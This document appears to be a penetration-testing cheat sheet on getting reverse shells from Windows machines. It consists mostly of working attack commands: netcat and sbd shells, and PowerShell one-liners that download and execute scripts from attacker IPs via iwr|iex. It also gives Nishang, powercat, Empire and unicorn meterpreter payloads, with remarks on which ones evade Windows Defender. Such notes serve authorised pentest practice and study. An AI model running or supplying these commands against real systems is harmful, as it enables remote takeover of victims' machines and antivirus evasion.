Lolbas

The page lolbas-project.github.io is for Windows like https://gtfobins.github.io/ is for linux.
Obviously, there aren't SUID files or sudo privileges in Windows, but it's useful to know how some binaries can be (ab)used to perform some kind of unexpected actions like execute arbitrary code.

NC

nc.exe -e cmd.exe <Attacker_IP> <PORT>

SBD

sbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only. sbd.exe (part of the Kali linux distribution: /usr/share/windows-resources/sbd/sbd.exe) can be uploaded to a Windows box as a Netcat alternative.

Powershell Shells

PS-Nishang

https://github.com/samratashok/nishang

In the Shells folder, there are a lot of different shells. To download and execute Invoke-PowerShellTcp.ps1 make a copy of the script and append to the end of the file:

Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444

Start serving the script in a web server and execute it on the victim's end:

powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"

Defender doesn't detect it as malicious code (yet, 3/04/2019).

TODO: Check other nishang shells

PS-Powercat

https://github.com/besimorhino/powercat

Download, start a web server, start the listener, and execute it on the victim's end:

 powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Defender doesn't detect it as malicious code (yet, 3/04/2019).

Other options offered by powercat:

Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...

Serve a cmd Shell:
    powercat -l -p 443 -e cmd
Send a cmd Shell:
    powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
    powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
    powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
    powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
    powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
    powercat -l -p 443 -i C:\inputfile -rep

Empire

https://github.com/EmpireProject/Empire

Create a powershell launcher, save it in a file and download and execute it.

powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Detected as malicious code

MSF-Unicorn

https://github.com/trustedsec/unicorn

Create a powershell version of metasploit backdoor using unicorn

python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443

Start msfconsole with the created resource:

msfconsole -r unicorn.rc

Start a web server serving the powershell_attack.txt file and execute in the victim:

powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
